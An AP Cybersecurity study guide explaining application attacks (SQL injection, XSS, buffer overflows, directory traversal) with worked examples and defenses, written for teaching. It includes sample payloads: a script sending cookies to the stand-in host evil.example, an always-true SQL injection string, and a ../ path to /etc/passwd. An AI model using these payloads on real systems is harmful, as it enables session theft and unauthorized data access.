AP Cybersecurity · Study guide

Application Attacks

AP® Cybersecurity · Unit 5 · Applications, Data & Cryptography

Application Attacks

How injection, SQL injection, cross-site scripting, buffer overflows, and directory traversal exploit applications that trust what users send them.

1Applications and user input

Applications are programs that run instructions on computers; they are executable data. Some run locally on a user's computer; others, like web applications, run on a server and are used through a network. Most applications take user input through open-ended fields where people can type letters, numbers, and punctuation. Every attack on this page abuses an application that trusts that input too much.

2Injection and data validation

Developers should check that user input matches what is expected, such as only digits when asking for a number of items, and reject anything outside the expected limits. Verifying input before processing it is called data validation. Applications that skip it are vulnerable to injection attacks, where adversaries type unexpected character strings into input fields to change how the program behaves.

3SQL injection

SQL (structured query language) is the language applications use to request information from databases and to change it. An application that builds SQL commands from unvalidated or unsanitized user input is vulnerable. An SQL injection attack puts SQL commands and control characters (like the quote mark ') into an input field. That can breach confidentiality (the app returns more data than it should) or integrity (data is modified or deleted).

Figure 1. The application glued the user's text into its database command. Validating input, or keeping input separate from the command, stops this.
The difference in code
# Unsafe: the typed text is glued into the command
query = "SELECT name, grade FROM students WHERE name = '" + typed + "'"

# Safe: the database receives the typed text separately, only as data
query = "SELECT name, grade FROM students WHERE name = ?"
run(query, [typed])

4Cross-site scripting (XSS)

Websites are written in HTML, and many use JavaScript to make pages interactive. JavaScript runs in the browser of the person visiting the site, so it can reach sensitive data the browser holds, such as login sessions, usernames, passwords, and cryptographic keys. A cross-site scripting (XSS) attack injects malicious code into a website that a user's browser then runs.

Figure 2. In both kinds, the attacker's code runs inside the victim's browser, where it can reach data the browser holds, such as login sessions.
A malicious comment that a stored XSS attack might post
<script>fetch('https://evil.example/steal?c=' + document.cookie)</script>

If the site displays this comment without neutralizing it, every visitor's browser runs the script, which sends their session cookie to the attacker.

5Buffer overflows

When an application takes input, it writes it into a buffer: a section of memory with a fixed size. If the input is longer than the buffer, it can overflow into the memory next to it and overwrite other data. A buffer overflow attack deliberately feeds in too much data, which can crash the system or make it run code outside the program's security rules, letting the adversary access, change, or delete files.

An 8-character buffer receives 12 characters
buffer (8 characters):  [ _ _ _ _ _ _ _ _ ][ other program data ... ]
input  (12 characters): AAAAAAAAAAAA
result:                 [ A A A A A A A A ][ A A A A  data ... ]   4 extra characters overwrote neighboring memory

6Directory traversal

The files that make up a web application are stored in folders (directories) on a server. A browser asks for a file with an HTTP GET request. In a directory traversal attack, the adversary changes the URL or GET request to reach files outside the website's folders, such as files listing usernames and passwords.

Climbing out of the images folder
Normal request:   /var/www/images/cat.png
Attack request:   /var/www/images/../../../etc/passwd
Each ".." moves up one folder: images -> www -> var -> (root)
Server resolves:  /etc/passwd   (the system's list of user accounts)

7Comparing the attacks

AttackWhat the attacker sendsWhat it can doMain defense
SQL injectionSQL code and quote marks in an input fieldDump or change database dataValidate input; keep input separate from queries
Reflected XSS (Type I)A link carrying a scriptRun code in the victim's browserEncode output; validate input
Stored XSS (Type II)A comment or post carrying a scriptRun code in every visitor's browserEncode output; validate input
Buffer overflowMore data than a buffer holdsCrash the system or run attacker codeCheck input length; safe memory handling
Directory traversal../ sequences in a URLRead files outside the web folderValidate paths; restrict file access
The key idea

Every one of these attacks works because an application treated user input as trustworthy. Validate input, keep it separate from commands, and limit what it can reach.

8Worked examples

Worked Example 1 Trace an injection

The search box

A school portal builds its query by gluing typed text into SELECT name, grade FROM students WHERE name = '…'. Someone types x' OR '1'='1. What happens?

  1. 1
    The query becomes SELECT name, grade FROM students WHERE name = 'x' OR '1'='1'.
  2. 2
    The condition reads “name is x, OR 1 equals 1.” Since 1 always equals 1, it is true for every row.
  3. 3
    The database returns all 4 students' grades: a confidentiality breach.
Answer: SQL injection. A parameterized query, which treats the input only as a name, returns nothing for that input.
Worked Example 2 Name the XSS type

Comment versus link

(a) An attacker posts a forum comment containing a script, and everyone who views the thread runs it. (b) An attacker emails a link to a search page with a script in the search term; only people who click run it. Which type is each?

  1. 1
    (a) The script is stored on the site and affects every visitor: stored (Type II) XSS.
  2. 2
    (b) The script travels in the link and is echoed back only to whoever clicks: reflected (Type I) XSS.
Answer: (a) stored, Type II; (b) reflected, Type I.
Worked Example 3 Trace a traversal

Out of the images folder

A server stores images in /var/www/images/. An attacker requests ../../../etc/passwd. Where does the request lead?

  1. 1
    Start at /var/www/images/.
  2. 2
    Each .. moves up one folder: to /var/www/, then /var/, then the root /.
  3. 3
    From the root, etc/passwd leads to /etc/passwd, the system's list of user accounts.
Answer: To /etc/passwd. The server should reject paths that leave the web folder.
Worked Example 4 Buffer overflow

Too much input

A program stores a username in an 8-character buffer without checking length. Someone enters 12 characters. What can happen?

  1. 1
    The first 8 characters fill the buffer.
  2. 2
    The remaining 4 overflow into neighboring memory, overwriting other data.
  3. 3
    Depending on what is overwritten, the program may crash, or carefully crafted input may make it run the attacker's code.
Answer: A buffer overflow: a crash, or code execution outside the program's rules. The fix is to check input length.

9Common mistakes

Common Mistake 1 · Thinking SQL injection only steals data

It can also change or delete data, breaching integrity and availability, not just confidentiality.

Common Mistake 2 · Mixing up the two XSS types

Reflected XSS travels in a link and hits whoever clicks. Stored XSS lives on the site and hits every visitor.

Common Mistake 3 · Thinking XSS attacks the server

The malicious code runs in visitors' browsers, where it can reach their sessions and saved data.

Common Mistake 4 · Assuming a URL can only reach the web folder

Without path checks, ../ climbs out to the rest of the file system.

Explain an application attack like this

“This is an SQL injection attack. The application inserts the user's input directly into its SQL query, so typing x' OR '1'='1 adds a condition that is always true and the database returns every row. Data validation and parameterized queries would prevent it.”

Name the attack, the input that exploits it, what it causes, and the defense.